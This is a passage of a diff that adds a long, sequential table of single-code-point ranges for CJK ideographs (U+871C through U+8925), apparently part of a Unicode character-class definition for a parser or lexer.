+ ["\u871C", "\u871C"], /* CJK Ideograph */
+ ["\u871D", "\u871D"], /* CJK Ideograph */
+ ["\u871E", "\u871E"], /* CJK Ideograph */
+ ["\u871F", "\u871F"], /* CJK Ideograph */
+ ["\u8720", "\u8720"], /* CJK Ideograph */
+ ["\u8721", "\u8721"], /* CJK Ideograph */
+ ["\u8722", "\u8722"], /* CJK Ideograph */
+ ["\u8723", "\u8723"], /* CJK Ideograph */
+ ["\u8724", "\u8724"], /* CJK Ideograph */
+ ["\u8725", "\u8725"], /* CJK Ideograph */
+ ["\u8726", "\u8726"], /* CJK Ideograph */
+ ["\u8727", "\u8727"], /* CJK Ideograph */
+ ["\u8728", "\u8728"], /* CJK Ideograph */
+ ["\u8729", "\u8729"], /* CJK Ideograph */
+ ["\u872A", "\u872A"], /* CJK Ideograph */
+ ["\u872B", "\u872B"], /* CJK Ideograph */
+ ["\u872C", "\u872C"], /* CJK Ideograph */
+ ["\u872D", "\u872D"], /* CJK Ideograph */
+ ["\u872E", "\u872E"], /* CJK Ideograph */
+ ["\u872F", "\u872F"], /* CJK Ideograph */
+ ["\u8730", "\u8730"], /* CJK Ideograph */
+ ["\u8731", "\u8731"], /* CJK Ideograph */
+ ["\u8732", "\u8732"], /* CJK Ideograph */
+ ["\u8733", "\u8733"], /* CJK Ideograph */
+ ["\u8734", "\u8734"], /* CJK Ideograph */
+ ["\u8735", "\u8735"], /* CJK Ideograph */
+ ["\u8736", "\u8736"], /* CJK Ideograph */
+ ["\u8737", "\u8737"], /* CJK Ideograph */
+ ["\u8738", "\u8738"], /* CJK Ideograph */
+ ["\u8739", "\u8739"], /* CJK Ideograph */
+ ["\u873A", "\u873A"], /* CJK Ideograph */
+ ["\u873B", "\u873B"], /* CJK Ideograph */
+ ["\u873C", "\u873C"], /* CJK Ideograph */
+ ["\u873D", "\u873D"], /* CJK Ideograph */
+ ["\u873E", "\u873E"], /* CJK Ideograph */
+ ["\u873F", "\u873F"], /* CJK Ideograph */
+ ["\u8740", "\u8740"], /* CJK Ideograph */
+ ["\u8741", "\u8741"], /* CJK Ideograph */
+ ["\u8742", "\u8742"], /* CJK Ideograph */
+ ["\u8743", "\u8743"], /* CJK Ideograph */
+ ["\u8744", "\u8744"], /* CJK Ideograph */
+ ["\u8745", "\u8745"], /* CJK Ideograph */
+ ["\u8746", "\u8746"], /* CJK Ideograph */
+ ["\u8747", "\u8747"], /* CJK Ideograph */
+ ["\u8748", "\u8748"], /* CJK Ideograph */
+ ["\u8749", "\u8749"], /* CJK Ideograph */
+ ["\u874A", "\u874A"], /* CJK Ideograph */
+ ["\u874B", "\u874B"], /* CJK Ideograph */
+ ["\u874C", "\u874C"], /* CJK Ideograph */
+ ["\u874D", "\u874D"], /* CJK Ideograph */
+ ["\u874E", "\u874E"], /* CJK Ideograph */
+ ["\u874F", "\u874F"], /* CJK Ideograph */
+ ["\u8750", "\u8750"], /* CJK Ideograph */
+ ["\u8751", "\u8751"], /* CJK Ideograph */
+ ["\u8752", "\u8752"], /* CJK Ideograph */
+ ["\u8753", "\u8753"], /* CJK Ideograph */
+ ["\u8754", "\u8754"], /* CJK Ideograph */
+ ["\u8755", "\u8755"], /* CJK Ideograph */
+ ["\u8756", "\u8756"], /* CJK Ideograph */
+ ["\u8757", "\u8757"], /* CJK Ideograph */
+ ["\u8758", "\u8758"], /* CJK Ideograph */
+ ["\u8759", "\u8759"], /* CJK Ideograph */
+ ["\u875A", "\u875A"], /* CJK Ideograph */
+ ["\u875B", "\u875B"], /* CJK Ideograph */
+ ["\u875C", "\u875C"], /* CJK Ideograph */
+ ["\u875D", "\u875D"], /* CJK Ideograph */
+ ["\u875E", "\u875E"], /* CJK Ideograph */
+ ["\u875F", "\u875F"], /* CJK Ideograph */
+ ["\u8760", "\u8760"], /* CJK Ideograph */
+ ["\u8761", "\u8761"], /* CJK Ideograph */
+ ["\u8762", "\u8762"], /* CJK Ideograph */
+ ["\u8763", "\u8763"], /* CJK Ideograph */
+ ["\u8764", "\u8764"], /* CJK Ideograph */
+ ["\u8765", "\u8765"], /* CJK Ideograph */
+ ["\u8766", "\u8766"], /* CJK Ideograph */
+ ["\u8767", "\u8767"], /* CJK Ideograph */
+ ["\u8768", "\u8768"], /* CJK Ideograph */
+ ["\u8769", "\u8769"], /* CJK Ideograph */
+ ["\u876A", "\u876A"], /* CJK Ideograph */
+ ["\u876B", "\u876B"], /* CJK Ideograph */
+ ["\u876C", "\u876C"], /* CJK Ideograph */
+ ["\u876D", "\u876D"], /* CJK Ideograph */
+ ["\u876E", "\u876E"], /* CJK Ideograph */
+ ["\u876F", "\u876F"], /* CJK Ideograph */
+ ["\u8770", "\u8770"], /* CJK Ideograph */
+ ["\u8771", "\u8771"], /* CJK Ideograph */
+ ["\u8772", "\u8772"], /* CJK Ideograph */
+ ["\u8773", "\u8773"], /* CJK Ideograph */
+ ["\u8774", "\u8774"], /* CJK Ideograph */
+ ["\u8775", "\u8775"], /* CJK Ideograph */
+ ["\u8776", "\u8776"], /* CJK Ideograph */
+ ["\u8777", "\u8777"], /* CJK Ideograph */
+ ["\u8778", "\u8778"], /* CJK Ideograph */
+ ["\u8779", "\u8779"], /* CJK Ideograph */
+ ["\u877A", "\u877A"], /* CJK Ideograph */
+ ["\u877B", "\u877B"], /* CJK Ideograph */
+ ["\u877C", "\u877C"], /* CJK Ideograph */
+ ["\u877D", "\u877D"], /* CJK Ideograph */
+ ["\u877E", "\u877E"], /* CJK Ideograph */
+ ["\u877F", "\u877F"], /* CJK Ideograph */
+ ["\u8780", "\u8780"], /* CJK Ideograph */
+ ["\u8781", "\u8781"], /* CJK Ideograph */
+ ["\u8782", "\u8782"], /* CJK Ideograph */
+ ["\u8783", "\u8783"], /* CJK Ideograph */
+ ["\u8784", "\u8784"], /* CJK Ideograph */
+ ["\u8785", "\u8785"], /* CJK Ideograph */
+ ["\u8786", "\u8786"], /* CJK Ideograph */
+ ["\u8787", "\u8787"], /* CJK Ideograph */
+ ["\u8788", "\u8788"], /* CJK Ideograph */
+ ["\u8789", "\u8789"], /* CJK Ideograph */
+ ["\u878A", "\u878A"], /* CJK Ideograph */
+ ["\u878B", "\u878B"], /* CJK Ideograph */
+ ["\u878C", "\u878C"], /* CJK Ideograph */
+ ["\u878D", "\u878D"], /* CJK Ideograph */
+ ["\u878E", "\u878E"], /* CJK Ideograph */
+ ["\u878F", "\u878F"], /* CJK Ideograph */
+ ["\u8790", "\u8790"], /* CJK Ideograph */
+ ["\u8791", "\u8791"], /* CJK Ideograph */
+ ["\u8792", "\u8792"], /* CJK Ideograph */
+ ["\u8793", "\u8793"], /* CJK Ideograph */
+ ["\u8794", "\u8794"], /* CJK Ideograph */
+ ["\u8795", "\u8795"], /* CJK Ideograph */
+ ["\u8796", "\u8796"], /* CJK Ideograph */
+ ["\u8797", "\u8797"], /* CJK Ideograph */
+ ["\u8798", "\u8798"], /* CJK Ideograph */
+ ["\u8799", "\u8799"], /* CJK Ideograph */
+ ["\u879A", "\u879A"], /* CJK Ideograph */
+ ["\u879B", "\u879B"], /* CJK Ideograph */
+ ["\u879C", "\u879C"], /* CJK Ideograph */
+ ["\u879D", "\u879D"], /* CJK Ideograph */
+ ["\u879E", "\u879E"], /* CJK Ideograph */
+ ["\u879F", "\u879F"], /* CJK Ideograph */
+ ["\u87A0", "\u87A0"], /* CJK Ideograph */
+ ["\u87A1", "\u87A1"], /* CJK Ideograph */
+ ["\u87A2", "\u87A2"], /* CJK Ideograph */
+ ["\u87A3", "\u87A3"], /* CJK Ideograph */
+ ["\u87A4", "\u87A4"], /* CJK Ideograph */
+ ["\u87A5", "\u87A5"], /* CJK Ideograph */
+ ["\u87A6", "\u87A6"], /* CJK Ideograph */
+ ["\u87A7", "\u87A7"], /* CJK Ideograph */
+ ["\u87A8", "\u87A8"], /* CJK Ideograph */
+ ["\u87A9", "\u87A9"], /* CJK Ideograph */
+ ["\u87AA", "\u87AA"], /* CJK Ideograph */
+ ["\u87AB", "\u87AB"], /* CJK Ideograph */
+ ["\u87AC", "\u87AC"], /* CJK Ideograph */
+ ["\u87AD", "\u87AD"], /* CJK Ideograph */
+ ["\u87AE", "\u87AE"], /* CJK Ideograph */
+ ["\u87AF", "\u87AF"], /* CJK Ideograph */
+ ["\u87B0", "\u87B0"], /* CJK Ideograph */
+ ["\u87B1", "\u87B1"], /* CJK Ideograph */
+ ["\u87B2", "\u87B2"], /* CJK Ideograph */
+ ["\u87B3", "\u87B3"], /* CJK Ideograph */
+ ["\u87B4", "\u87B4"], /* CJK Ideograph */
+ ["\u87B5", "\u87B5"], /* CJK Ideograph */
+ ["\u87B6", "\u87B6"], /* CJK Ideograph */
+ ["\u87B7", "\u87B7"], /* CJK Ideograph */
+ ["\u87B8", "\u87B8"], /* CJK Ideograph */
+ ["\u87B9", "\u87B9"], /* CJK Ideograph */
+ ["\u87BA", "\u87BA"], /* CJK Ideograph */
+ ["\u87BB", "\u87BB"], /* CJK Ideograph */
+ ["\u87BC", "\u87BC"], /* CJK Ideograph */
+ ["\u87BD", "\u87BD"], /* CJK Ideograph */
+ ["\u87BE", "\u87BE"], /* CJK Ideograph */
+ ["\u87BF", "\u87BF"], /* CJK Ideograph */
+ ["\u87C0", "\u87C0"], /* CJK Ideograph */
+ ["\u87C1", "\u87C1"], /* CJK Ideograph */
+ ["\u87C2", "\u87C2"], /* CJK Ideograph */
+ ["\u87C3", "\u87C3"], /* CJK Ideograph */
+ ["\u87C4", "\u87C4"], /* CJK Ideograph */
+ ["\u87C5", "\u87C5"], /* CJK Ideograph */
+ ["\u87C6", "\u87C6"], /* CJK Ideograph */
+ ["\u87C7", "\u87C7"], /* CJK Ideograph */
+ ["\u87C8", "\u87C8"], /* CJK Ideograph */
+ ["\u87C9", "\u87C9"], /* CJK Ideograph */
+ ["\u87CA", "\u87CA"], /* CJK Ideograph */
+ ["\u87CB", "\u87CB"], /* CJK Ideograph */
+ ["\u87CC", "\u87CC"], /* CJK Ideograph */
+ ["\u87CD", "\u87CD"], /* CJK Ideograph */
+ ["\u87CE", "\u87CE"], /* CJK Ideograph */
+ ["\u87CF", "\u87CF"], /* CJK Ideograph */
+ ["\u87D0", "\u87D0"], /* CJK Ideograph */
+ ["\u87D1", "\u87D1"], /* CJK Ideograph */
+ ["\u87D2", "\u87D2"], /* CJK Ideograph */
+ ["\u87D3", "\u87D3"], /* CJK Ideograph */
+ ["\u87D4", "\u87D4"], /* CJK Ideograph */
+ ["\u87D5", "\u87D5"], /* CJK Ideograph */
+ ["\u87D6", "\u87D6"], /* CJK Ideograph */
+ ["\u87D7", "\u87D7"], /* CJK Ideograph */
+ ["\u87D8", "\u87D8"], /* CJK Ideograph */
+ ["\u87D9", "\u87D9"], /* CJK Ideograph */
+ ["\u87DA", "\u87DA"], /* CJK Ideograph */
+ ["\u87DB", "\u87DB"], /* CJK Ideograph */
+ ["\u87DC", "\u87DC"], /* CJK Ideograph */
+ ["\u87DD", "\u87DD"], /* CJK Ideograph */
+ ["\u87DE", "\u87DE"], /* CJK Ideograph */
+ ["\u87DF", "\u87DF"], /* CJK Ideograph */
+ ["\u87E0", "\u87E0"], /* CJK Ideograph */
+ ["\u87E1", "\u87E1"], /* CJK Ideograph */
+ ["\u87E2", "\u87E2"], /* CJK Ideograph */
+ ["\u87E3", "\u87E3"], /* CJK Ideograph */
+ ["\u87E4", "\u87E4"], /* CJK Ideograph */
+ ["\u87E5", "\u87E5"], /* CJK Ideograph */
+ ["\u87E6", "\u87E6"], /* CJK Ideograph */
+ ["\u87E7", "\u87E7"], /* CJK Ideograph */
+ ["\u87E8", "\u87E8"], /* CJK Ideograph */
+ ["\u87E9", "\u87E9"], /* CJK Ideograph */
+ ["\u87EA", "\u87EA"], /* CJK Ideograph */
+ ["\u87EB", "\u87EB"], /* CJK Ideograph */
+ ["\u87EC", "\u87EC"], /* CJK Ideograph */
+ ["\u87ED", "\u87ED"], /* CJK Ideograph */
+ ["\u87EE", "\u87EE"], /* CJK Ideograph */
+ ["\u87EF", "\u87EF"], /* CJK Ideograph */
+ ["\u87F0", "\u87F0"], /* CJK Ideograph */
+ ["\u87F1", "\u87F1"], /* CJK Ideograph */
+ ["\u87F2", "\u87F2"], /* CJK Ideograph */
+ ["\u87F3", "\u87F3"], /* CJK Ideograph */
+ ["\u87F4", "\u87F4"], /* CJK Ideograph */
+ ["\u87F5", "\u87F5"], /* CJK Ideograph */
+ ["\u87F6", "\u87F6"], /* CJK Ideograph */
+ ["\u87F7", "\u87F7"], /* CJK Ideograph */
+ ["\u87F8", "\u87F8"], /* CJK Ideograph */
+ ["\u87F9", "\u87F9"], /* CJK Ideograph */
+ ["\u87FA", "\u87FA"], /* CJK Ideograph */
+ ["\u87FB", "\u87FB"], /* CJK Ideograph */
+ ["\u87FC", "\u87FC"], /* CJK Ideograph */
+ ["\u87FD", "\u87FD"], /* CJK Ideograph */
+ ["\u87FE", "\u87FE"], /* CJK Ideograph */
+ ["\u87FF", "\u87FF"], /* CJK Ideograph */
+ ["\u8800", "\u8800"], /* CJK Ideograph */
+ ["\u8801", "\u8801"], /* CJK Ideograph */
+ ["\u8802", "\u8802"], /* CJK Ideograph */
+ ["\u8803", "\u8803"], /* CJK Ideograph */
+ ["\u8804", "\u8804"], /* CJK Ideograph */
+ ["\u8805", "\u8805"], /* CJK Ideograph */
+ ["\u8806", "\u8806"], /* CJK Ideograph */
+ ["\u8807", "\u8807"], /* CJK Ideograph */
+ ["\u8808", "\u8808"], /* CJK Ideograph */
+ ["\u8809", "\u8809"], /* CJK Ideograph */
+ ["\u880A", "\u880A"], /* CJK Ideograph */
+ ["\u880B", "\u880B"], /* CJK Ideograph */
+ ["\u880C", "\u880C"], /* CJK Ideograph */
+ ["\u880D", "\u880D"], /* CJK Ideograph */
+ ["\u880E", "\u880E"], /* CJK Ideograph */
+ ["\u880F", "\u880F"], /* CJK Ideograph */
+ ["\u8810", "\u8810"], /* CJK Ideograph */
+ ["\u8811", "\u8811"], /* CJK Ideograph */
+ ["\u8812", "\u8812"], /* CJK Ideograph */
+ ["\u8813", "\u8813"], /* CJK Ideograph */
+ ["\u8814", "\u8814"], /* CJK Ideograph */
+ ["\u8815", "\u8815"], /* CJK Ideograph */
+ ["\u8816", "\u8816"], /* CJK Ideograph */
+ ["\u8817", "\u8817"], /* CJK Ideograph */
+ ["\u8818", "\u8818"], /* CJK Ideograph */
+ ["\u8819", "\u8819"], /* CJK Ideograph */
+ ["\u881A", "\u881A"], /* CJK Ideograph */
+ ["\u881B", "\u881B"], /* CJK Ideograph */
+ ["\u881C", "\u881C"], /* CJK Ideograph */
+ ["\u881D", "\u881D"], /* CJK Ideograph */
+ ["\u881E", "\u881E"], /* CJK Ideograph */
+ ["\u881F", "\u881F"], /* CJK Ideograph */
+ ["\u8820", "\u8820"], /* CJK Ideograph */
+ ["\u8821", "\u8821"], /* CJK Ideograph */
+ ["\u8822", "\u8822"], /* CJK Ideograph */
+ ["\u8823", "\u8823"], /* CJK Ideograph */
+ ["\u8824", "\u8824"], /* CJK Ideograph */
+ ["\u8825", "\u8825"], /* CJK Ideograph */
+ ["\u8826", "\u8826"], /* CJK Ideograph */
+ ["\u8827", "\u8827"], /* CJK Ideograph */
+ ["\u8828", "\u8828"], /* CJK Ideograph */
+ ["\u8829", "\u8829"], /* CJK Ideograph */
+ ["\u882A", "\u882A"], /* CJK Ideograph */
+ ["\u882B", "\u882B"], /* CJK Ideograph */
+ ["\u882C", "\u882C"], /* CJK Ideograph */
+ ["\u882D", "\u882D"], /* CJK Ideograph */
+ ["\u882E", "\u882E"], /* CJK Ideograph */
+ ["\u882F", "\u882F"], /* CJK Ideograph */
+ ["\u8830", "\u8830"], /* CJK Ideograph */
+ ["\u8831", "\u8831"], /* CJK Ideograph */
+ ["\u8832", "\u8832"], /* CJK Ideograph */
+ ["\u8833", "\u8833"], /* CJK Ideograph */
+ ["\u8834", "\u8834"], /* CJK Ideograph */
+ ["\u8835", "\u8835"], /* CJK Ideograph */
+ ["\u8836", "\u8836"], /* CJK Ideograph */
+ ["\u8837", "\u8837"], /* CJK Ideograph */
+ ["\u8838", "\u8838"], /* CJK Ideograph */
+ ["\u8839", "\u8839"], /* CJK Ideograph */
+ ["\u883A", "\u883A"], /* CJK Ideograph */
+ ["\u883B", "\u883B"], /* CJK Ideograph */
+ ["\u883C", "\u883C"], /* CJK Ideograph */
+ ["\u883D", "\u883D"], /* CJK Ideograph */
+ ["\u883E", "\u883E"], /* CJK Ideograph */
+ ["\u883F", "\u883F"], /* CJK Ideograph */
+ ["\u8840", "\u8840"], /* CJK Ideograph */
+ ["\u8841", "\u8841"], /* CJK Ideograph */
+ ["\u8842", "\u8842"], /* CJK Ideograph */
+ ["\u8843", "\u8843"], /* CJK Ideograph */
+ ["\u8844", "\u8844"], /* CJK Ideograph */
+ ["\u8845", "\u8845"], /* CJK Ideograph */
+ ["\u8846", "\u8846"], /* CJK Ideograph */
+ ["\u8847", "\u8847"], /* CJK Ideograph */
+ ["\u8848", "\u8848"], /* CJK Ideograph */
+ ["\u8849", "\u8849"], /* CJK Ideograph */
+ ["\u884A", "\u884A"], /* CJK Ideograph */
+ ["\u884B", "\u884B"], /* CJK Ideograph */
+ ["\u884C", "\u884C"], /* CJK Ideograph */
+ ["\u884D", "\u884D"], /* CJK Ideograph */
+ ["\u884E", "\u884E"], /* CJK Ideograph */
+ ["\u884F", "\u884F"], /* CJK Ideograph */
+ ["\u8850", "\u8850"], /* CJK Ideograph */
+ ["\u8851", "\u8851"], /* CJK Ideograph */
+ ["\u8852", "\u8852"], /* CJK Ideograph */
+ ["\u8853", "\u8853"], /* CJK Ideograph */
+ ["\u8854", "\u8854"], /* CJK Ideograph */
+ ["\u8855", "\u8855"], /* CJK Ideograph */
+ ["\u8856", "\u8856"], /* CJK Ideograph */
+ ["\u8857", "\u8857"], /* CJK Ideograph */
+ ["\u8858", "\u8858"], /* CJK Ideograph */
+ ["\u8859", "\u8859"], /* CJK Ideograph */
+ ["\u885A", "\u885A"], /* CJK Ideograph */
+ ["\u885B", "\u885B"], /* CJK Ideograph */
+ ["\u885C", "\u885C"], /* CJK Ideograph */
+ ["\u885D", "\u885D"], /* CJK Ideograph */
+ ["\u885E", "\u885E"], /* CJK Ideograph */
+ ["\u885F", "\u885F"], /* CJK Ideograph */
+ ["\u8860", "\u8860"], /* CJK Ideograph */
+ ["\u8861", "\u8861"], /* CJK Ideograph */
+ ["\u8862", "\u8862"], /* CJK Ideograph */
+ ["\u8863", "\u8863"], /* CJK Ideograph */
+ ["\u8864", "\u8864"], /* CJK Ideograph */
+ ["\u8865", "\u8865"], /* CJK Ideograph */
+ ["\u8866", "\u8866"], /* CJK Ideograph */
+ ["\u8867", "\u8867"], /* CJK Ideograph */
+ ["\u8868", "\u8868"], /* CJK Ideograph */
+ ["\u8869", "\u8869"], /* CJK Ideograph */
+ ["\u886A", "\u886A"], /* CJK Ideograph */
+ ["\u886B", "\u886B"], /* CJK Ideograph */
+ ["\u886C", "\u886C"], /* CJK Ideograph */
+ ["\u886D", "\u886D"], /* CJK Ideograph */
+ ["\u886E", "\u886E"], /* CJK Ideograph */
+ ["\u886F", "\u886F"], /* CJK Ideograph */
+ ["\u8870", "\u8870"], /* CJK Ideograph */
+ ["\u8871", "\u8871"], /* CJK Ideograph */
+ ["\u8872", "\u8872"], /* CJK Ideograph */
+ ["\u8873", "\u8873"], /* CJK Ideograph */
+ ["\u8874", "\u8874"], /* CJK Ideograph */
+ ["\u8875", "\u8875"], /* CJK Ideograph */
+ ["\u8876", "\u8876"], /* CJK Ideograph */
+ ["\u8877", "\u8877"], /* CJK Ideograph */
+ ["\u8878", "\u8878"], /* CJK Ideograph */
+ ["\u8879", "\u8879"], /* CJK Ideograph */
+ ["\u887A", "\u887A"], /* CJK Ideograph */
+ ["\u887B", "\u887B"], /* CJK Ideograph */
+ ["\u887C", "\u887C"], /* CJK Ideograph */
+ ["\u887D", "\u887D"], /* CJK Ideograph */
+ ["\u887E", "\u887E"], /* CJK Ideograph */
+ ["\u887F", "\u887F"], /* CJK Ideograph */
+ ["\u8880", "\u8880"], /* CJK Ideograph */
+ ["\u8881", "\u8881"], /* CJK Ideograph */
+ ["\u8882", "\u8882"], /* CJK Ideograph */
+ ["\u8883", "\u8883"], /* CJK Ideograph */
+ ["\u8884", "\u8884"], /* CJK Ideograph */
+ ["\u8885", "\u8885"], /* CJK Ideograph */
+ ["\u8886", "\u8886"], /* CJK Ideograph */
+ ["\u8887", "\u8887"], /* CJK Ideograph */
+ ["\u8888", "\u8888"], /* CJK Ideograph */
+ ["\u8889", "\u8889"], /* CJK Ideograph */
+ ["\u888A", "\u888A"], /* CJK Ideograph */
+ ["\u888B", "\u888B"], /* CJK Ideograph */
+ ["\u888C", "\u888C"], /* CJK Ideograph */
+ ["\u888D", "\u888D"], /* CJK Ideograph */
+ ["\u888E", "\u888E"], /* CJK Ideograph */
+ ["\u888F", "\u888F"], /* CJK Ideograph */
+ ["\u8890", "\u8890"], /* CJK Ideograph */
+ ["\u8891", "\u8891"], /* CJK Ideograph */
+ ["\u8892", "\u8892"], /* CJK Ideograph */
+ ["\u8893", "\u8893"], /* CJK Ideograph */
+ ["\u8894", "\u8894"], /* CJK Ideograph */
+ ["\u8895", "\u8895"], /* CJK Ideograph */
+ ["\u8896", "\u8896"], /* CJK Ideograph */
+ ["\u8897", "\u8897"], /* CJK Ideograph */
+ ["\u8898", "\u8898"], /* CJK Ideograph */
+ ["\u8899", "\u8899"], /* CJK Ideograph */
+ ["\u889A", "\u889A"], /* CJK Ideograph */
+ ["\u889B", "\u889B"], /* CJK Ideograph */
+ ["\u889C", "\u889C"], /* CJK Ideograph */
+ ["\u889D", "\u889D"], /* CJK Ideograph */
+ ["\u889E", "\u889E"], /* CJK Ideograph */
+ ["\u889F", "\u889F"], /* CJK Ideograph */
+ ["\u88A0", "\u88A0"], /* CJK Ideograph */
+ ["\u88A1", "\u88A1"], /* CJK Ideograph */
+ ["\u88A2", "\u88A2"], /* CJK Ideograph */
+ ["\u88A3", "\u88A3"], /* CJK Ideograph */
+ ["\u88A4", "\u88A4"], /* CJK Ideograph */
+ ["\u88A5", "\u88A5"], /* CJK Ideograph */
+ ["\u88A6", "\u88A6"], /* CJK Ideograph */
+ ["\u88A7", "\u88A7"], /* CJK Ideograph */
+ ["\u88A8", "\u88A8"], /* CJK Ideograph */
+ ["\u88A9", "\u88A9"], /* CJK Ideograph */
+ ["\u88AA", "\u88AA"], /* CJK Ideograph */
+ ["\u88AB", "\u88AB"], /* CJK Ideograph */
+ ["\u88AC", "\u88AC"], /* CJK Ideograph */
+ ["\u88AD", "\u88AD"], /* CJK Ideograph */
+ ["\u88AE", "\u88AE"], /* CJK Ideograph */
+ ["\u88AF", "\u88AF"], /* CJK Ideograph */
+ ["\u88B0", "\u88B0"], /* CJK Ideograph */
+ ["\u88B1", "\u88B1"], /* CJK Ideograph */
+ ["\u88B2", "\u88B2"], /* CJK Ideograph */
+ ["\u88B3", "\u88B3"], /* CJK Ideograph */
+ ["\u88B4", "\u88B4"], /* CJK Ideograph */
+ ["\u88B5", "\u88B5"], /* CJK Ideograph */
+ ["\u88B6", "\u88B6"], /* CJK Ideograph */
+ ["\u88B7", "\u88B7"], /* CJK Ideograph */
+ ["\u88B8", "\u88B8"], /* CJK Ideograph */
+ ["\u88B9", "\u88B9"], /* CJK Ideograph */
+ ["\u88BA", "\u88BA"], /* CJK Ideograph */
+ ["\u88BB", "\u88BB"], /* CJK Ideograph */
+ ["\u88BC", "\u88BC"], /* CJK Ideograph */
+ ["\u88BD", "\u88BD"], /* CJK Ideograph */
+ ["\u88BE", "\u88BE"], /* CJK Ideograph */
+ ["\u88BF", "\u88BF"], /* CJK Ideograph */
+ ["\u88C0", "\u88C0"], /* CJK Ideograph */
+ ["\u88C1", "\u88C1"], /* CJK Ideograph */
+ ["\u88C2", "\u88C2"], /* CJK Ideograph */
+ ["\u88C3", "\u88C3"], /* CJK Ideograph */
+ ["\u88C4", "\u88C4"], /* CJK Ideograph */
+ ["\u88C5", "\u88C5"], /* CJK Ideograph */
+ ["\u88C6", "\u88C6"], /* CJK Ideograph */
+ ["\u88C7", "\u88C7"], /* CJK Ideograph */
+ ["\u88C8", "\u88C8"], /* CJK Ideograph */
+ ["\u88C9", "\u88C9"], /* CJK Ideograph */
+ ["\u88CA", "\u88CA"], /* CJK Ideograph */
+ ["\u88CB", "\u88CB"], /* CJK Ideograph */
+ ["\u88CC", "\u88CC"], /* CJK Ideograph */
+ ["\u88CD", "\u88CD"], /* CJK Ideograph */
+ ["\u88CE", "\u88CE"], /* CJK Ideograph */
+ ["\u88CF", "\u88CF"], /* CJK Ideograph */
+ ["\u88D0", "\u88D0"], /* CJK Ideograph */
+ ["\u88D1", "\u88D1"], /* CJK Ideograph */
+ ["\u88D2", "\u88D2"], /* CJK Ideograph */
+ ["\u88D3", "\u88D3"], /* CJK Ideograph */
+ ["\u88D4", "\u88D4"], /* CJK Ideograph */
+ ["\u88D5", "\u88D5"], /* CJK Ideograph */
+ ["\u88D6", "\u88D6"], /* CJK Ideograph */
+ ["\u88D7", "\u88D7"], /* CJK Ideograph */
+ ["\u88D8", "\u88D8"], /* CJK Ideograph */
+ ["\u88D9", "\u88D9"], /* CJK Ideograph */
+ ["\u88DA", "\u88DA"], /* CJK Ideograph */
+ ["\u88DB", "\u88DB"], /* CJK Ideograph */
+ ["\u88DC", "\u88DC"], /* CJK Ideograph */
+ ["\u88DD", "\u88DD"], /* CJK Ideograph */
+ ["\u88DE", "\u88DE"], /* CJK Ideograph */
+ ["\u88DF", "\u88DF"], /* CJK Ideograph */
+ ["\u88E0", "\u88E0"], /* CJK Ideograph */
+ ["\u88E1", "\u88E1"], /* CJK Ideograph */
+ ["\u88E2", "\u88E2"], /* CJK Ideograph */
+ ["\u88E3", "\u88E3"], /* CJK Ideograph */
+ ["\u88E4", "\u88E4"], /* CJK Ideograph */
+ ["\u88E5", "\u88E5"], /* CJK Ideograph */
+ ["\u88E6", "\u88E6"], /* CJK Ideograph */
+ ["\u88E7", "\u88E7"], /* CJK Ideograph */
+ ["\u88E8", "\u88E8"], /* CJK Ideograph */
+ ["\u88E9", "\u88E9"], /* CJK Ideograph */
+ ["\u88EA", "\u88EA"], /* CJK Ideograph */
+ ["\u88EB", "\u88EB"], /* CJK Ideograph */
+ ["\u88EC", "\u88EC"], /* CJK Ideograph */
+ ["\u88ED", "\u88ED"], /* CJK Ideograph */
+ ["\u88EE", "\u88EE"], /* CJK Ideograph */
+ ["\u88EF", "\u88EF"], /* CJK Ideograph */
+ ["\u88F0", "\u88F0"], /* CJK Ideograph */
+ ["\u88F1", "\u88F1"], /* CJK Ideograph */
+ ["\u88F2", "\u88F2"], /* CJK Ideograph */
+ ["\u88F3", "\u88F3"], /* CJK Ideograph */
+ ["\u88F4", "\u88F4"], /* CJK Ideograph */
+ ["\u88F5", "\u88F5"], /* CJK Ideograph */
+ ["\u88F6", "\u88F6"], /* CJK Ideograph */
+ ["\u88F7", "\u88F7"], /* CJK Ideograph */
+ ["\u88F8", "\u88F8"], /* CJK Ideograph */
+ ["\u88F9", "\u88F9"], /* CJK Ideograph */
+ ["\u88FA", "\u88FA"], /* CJK Ideograph */
+ ["\u88FB", "\u88FB"], /* CJK Ideograph */
+ ["\u88FC", "\u88FC"], /* CJK Ideograph */
+ ["\u88FD", "\u88FD"], /* CJK Ideograph */
+ ["\u88FE", "\u88FE"], /* CJK Ideograph */
+ ["\u88FF", "\u88FF"], /* CJK Ideograph */
+ ["\u8900", "\u8900"], /* CJK Ideograph */
+ ["\u8901", "\u8901"], /* CJK Ideograph */
+ ["\u8902", "\u8902"], /* CJK Ideograph */
+ ["\u8903", "\u8903"], /* CJK Ideograph */
+ ["\u8904", "\u8904"], /* CJK Ideograph */
+ ["\u8905", "\u8905"], /* CJK Ideograph */
+ ["\u8906", "\u8906"], /* CJK Ideograph */
+ ["\u8907", "\u8907"], /* CJK Ideograph */
+ ["\u8908", "\u8908"], /* CJK Ideograph */
+ ["\u8909", "\u8909"], /* CJK Ideograph */
+ ["\u890A", "\u890A"], /* CJK Ideograph */
+ ["\u890B", "\u890B"], /* CJK Ideograph */
+ ["\u890C", "\u890C"], /* CJK Ideograph */
+ ["\u890D", "\u890D"], /* CJK Ideograph */
+ ["\u890E", "\u890E"], /* CJK Ideograph */
+ ["\u890F", "\u890F"], /* CJK Ideograph */
+ ["\u8910", "\u8910"], /* CJK Ideograph */
+ ["\u8911", "\u8911"], /* CJK Ideograph */
+ ["\u8912", "\u8912"], /* CJK Ideograph */
+ ["\u8913", "\u8913"], /* CJK Ideograph */
+ ["\u8914", "\u8914"], /* CJK Ideograph */
+ ["\u8915", "\u8915"], /* CJK Ideograph */
+ ["\u8916", "\u8916"], /* CJK Ideograph */
+ ["\u8917", "\u8917"], /* CJK Ideograph */
+ ["\u8918", "\u8918"], /* CJK Ideograph */
+ ["\u8919", "\u8919"], /* CJK Ideograph */
+ ["\u891A", "\u891A"], /* CJK Ideograph */
+ ["\u891B", "\u891B"], /* CJK Ideograph */
+ ["\u891C", "\u891C"], /* CJK Ideograph */
+ ["\u891D", "\u891D"], /* CJK Ideograph */
+ ["\u891E", "\u891E"], /* CJK Ideograph */
+ ["\u891F", "\u891F"], /* CJK Ideograph */
+ ["\u8920", "\u8920"], /* CJK Ideograph */
+ ["\u8921", "\u8921"], /* CJK Ideograph */
+ ["\u8922", "\u8922"], /* CJK Ideograph */
+ ["\u8923", "\u8923"], /* CJK Ideograph */
+ ["\u8924", "\u8924"], /* CJK Ideograph */
+ ["\u8925", "\u8925"], /* CJK Ideograph */
